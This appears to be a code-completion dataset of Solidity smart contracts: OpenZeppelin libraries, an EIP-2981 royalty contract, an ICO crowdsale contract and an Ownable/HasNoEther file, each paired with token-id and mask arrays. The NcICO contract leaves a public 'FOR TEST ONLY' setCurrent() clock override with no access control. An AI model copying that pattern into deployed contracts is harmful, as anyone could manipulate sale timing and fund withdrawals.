function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
/**
* @title EIP 2981 base contract
* @author Transient Labs, Copyright (C) 2021
* @notice contract implementation of EIP 2981
*/
/*
####### #
# ##### ## # # #### # ###### # # ##### # ## ##### ####
# # # # # ## # # # # ## # # # # # # # #
# # # # # # # # #### # ##### # # # # # # # ##### ####
# ##### ###### # # # # # # # # # # # ###### # # #
# # # # # # ## # # # # # ## # # # # # # # #
# # # # # # # #### # ###### # # # ####### # # ##### ####
0101010011100101100000110111011100101101000110010011011101110100 01001100110000011000101110011
*/
pragma solidity ^0.8.0;
import "ERC165.sol";
import "IEIP2981.sol";
contract EIP2981 is IEIP2981, ERC165 {
address internal royaltyAddr;
uint256 private royaltyPerc; // percentage multiplied by 1000
/**
* @notice constructor
* @dev need inheriting contracts to accept the parameters in their constructor
* @param addr is the royalty payout address
* @param perc is the royalty percentage, multiplied by 1000. Ex: 7.5% => 75
*/
constructor(address addr, uint256 perc) {
royaltyAddr = addr;
royaltyPerc = perc;
}
/**
* @notice override ERC 165 implementation of this function
* @dev if using this contract with another contract that supports ERC 165, will have to override in the inheriting contract
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165) returns (bool) {
return interfaceId == type(IEIP2981).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @notice EIP 2981 royalty support
* @dev royalty payout made to the owner of the contract and the owner can't be the 0 address
* @dev royalty amount determined when contract is deployed, and then divided by 1000 in this function
* @dev royalty amount not dependent on _tokenId
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
require(royaltyAddr != address(0));
return (royaltyAddr, royaltyPerc * _salePrice / 1000);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
///
/// @dev Interface for the NFT Royalty Standard
///
interface IEIP2981 {
/// ERC165 bytes to add to interface array - set in parent contract
/// implementing this standard
///
/// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver,uint256 royaltyAmount);
} | * @notice override standard ERC721 base URI @dev doesn't require access control since it's internal @return string representing base URI/ | function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
| 1,603,532 | [
1,
10601,
4529,
4232,
39,
27,
5340,
1026,
3699,
565,
3302,
1404,
2583,
2006,
3325,
3241,
518,
1807,
2713,
282,
327,
533,
5123,
1026,
3699,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
1969,
3098,
1435,
2713,
1476,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
1969,
1345,
3098,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xbb39d3ffacc15270caafcaa81f0a4a95d7e0247e
//Contract name: NcICO
//Balance: 0 Ether
//Verification Date: 5/9/2018
//Transacion Count: 2
// CODE STARTS HERE
pragma solidity ^0.4.15;
contract token {
function transferFrom(address sender, address receiver, uint amount) returns(bool success) {}
function burn() {}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract NcICO {
using SafeMath for uint;
uint public prices;
// The start date of the crowdsale
uint public start; // Friday, 19 January 2018 10:00:00 GMT
// The end date of the crowdsale
uint public end; // Friday, 26 January 2018 10:00:00 GMT
// The balances (in ETH) of all token holders
mapping(address => uint) public balances;
// Indicates if the crowdsale has been ended already
bool public crowdsaleEnded = false;
// Tokens will be transfered from this address
address public tokenOwner;
// The address of the token contract
token public tokenReward;
// The wallet on which the funds will be stored
address wallet;
uint public amountRaised;
uint public deadline;
//uint public price;
// Notifying transfers and the success of the crowdsale
event Finalize(address _tokenOwner, uint _amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution, uint _amountRaised);
// ---- FOR TEST ONLY ----
uint _current = 0;
function current() public returns (uint) {
// Override not in use
if(_current == 0) {
return now;
}
return _current;
}
function setCurrent(uint __current) {
_current = __current;
}
//------------------------
// Constructor/initialization
function NcICO(
address tokenAddr,
address walletAddr,
address tokenOwnerAddr,
uint durationInMinutes,
uint etherCostOfEachToken
//uint startTime,
//uint endTime,
//uint price
) {
tokenReward = token(tokenAddr);
wallet = walletAddr;
tokenOwner = tokenOwnerAddr;
deadline = now + durationInMinutes * 1 minutes;
//start = startTime;
//end = endTime;
prices = etherCostOfEachToken * 0.0000001 ether;
}
// Exchange CHP by sending ether to the contract.
function() payable {
// require(!crowdsaleClosed);
// uint amount = msg.value;
// balances[msg.sender] += amount;
// amountRaised += amount;
// tokenReward.transfer(msg.sender, amount / prices);
// FundTransfer(msg.sender, amount, true);
if (msg.sender != wallet) // Do not trigger exchange if the wallet is returning the funds
exchange(msg.sender);
}
// Make an exchangement. Only callable if the crowdsale started and hasn't been ended, also the maxGoal wasn't reached yet.
// The current token price is looked up by available amount. Bought tokens is transfered to the receiver.
// The sent value is directly forwarded to a safe wallet.
function exchange(address receiver) payable {
uint amount = msg.value;
uint price = getPrice();
uint numTokens = amount.mul(price);
require(numTokens > 0);
//require(!crowdsaleEnded && current() >= start && current() <= end && tokensSold.add(numTokens) <= maxGoal);
wallet.transfer(amount);
balances[receiver] = balances[receiver].add(amount);
// Calculate how much raised and tokens sold
amountRaised = amountRaised.add(amount);
//tokensSold = tokensSold.add(numTokens);
assert(tokenReward.transferFrom(tokenOwner, receiver, numTokens));
FundTransfer(receiver, amount, true, amountRaised);
}
// Manual exchange tokens for BTC,LTC,Fiat contributions.
// @param receiver who tokens will go to.
// @param value an amount of tokens.
function manualExchange(address receiver, uint value) {
require(msg.sender == tokenOwner);
// require(tokensSold.add(value) <= maxGoal);
//tokensSold = tokensSold.add(value);
assert(tokenReward.transferFrom(tokenOwner, receiver, value));
}
// Looks up the current token price
function getPrice() constant returns (uint price) {
// for(uint i = 0; i < amount_stages.length; i++) {
// if(tokensSold < amount_stages[i])
// return prices[i];
// }
// return prices[prices.length-1];
return prices;
}
modifier afterDeadline() { if (current() >= end) _; }
// Checks if the goal or time limit has been reached and ends the campaign
function finalize() afterDeadline {
require(!crowdsaleEnded);
tokenReward.burn(); // Burn remaining tokens but the reserved ones
Finalize(tokenOwner, amountRaised);
crowdsaleEnded = true;
}
// Allows the funders to withdraw their funds if the goal has not been reached.
// Only works after funds have been returned from the wallet.
function safeWithdrawal() afterDeadline {
uint amount = balances[msg.sender];
if (address(this).balance >= amount) {
balances[msg.sender] = 0;
if (amount > 0) {
msg.sender.transfer(amount);
FundTransfer(msg.sender, amount, false, amountRaised);
}
}
}
}
| Looks up the current token price for(uint i = 0; i < amount_stages.length; i++) { if(tokensSold < amount_stages[i]) return prices[i]; } return prices[prices.length-1]; | function getPrice() constant returns (uint price) {
return prices;
}
| 942,023 | [
1,
20475,
731,
326,
783,
1147,
6205,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
3844,
67,
334,
1023,
18,
2469,
31,
277,
27245,
288,
377,
309,
12,
7860,
55,
1673,
411,
3844,
67,
334,
1023,
63,
77,
5717,
540,
327,
19827,
63,
77,
15533,
289,
327,
19827,
63,
683,
1242,
18,
2469,
17,
21,
15533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
25930,
1435,
5381,
1135,
261,
11890,
6205,
13,
288,
203,
3639,
203,
4202,
327,
19827,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
address thisContract = this;
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(thisContract.balance));
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
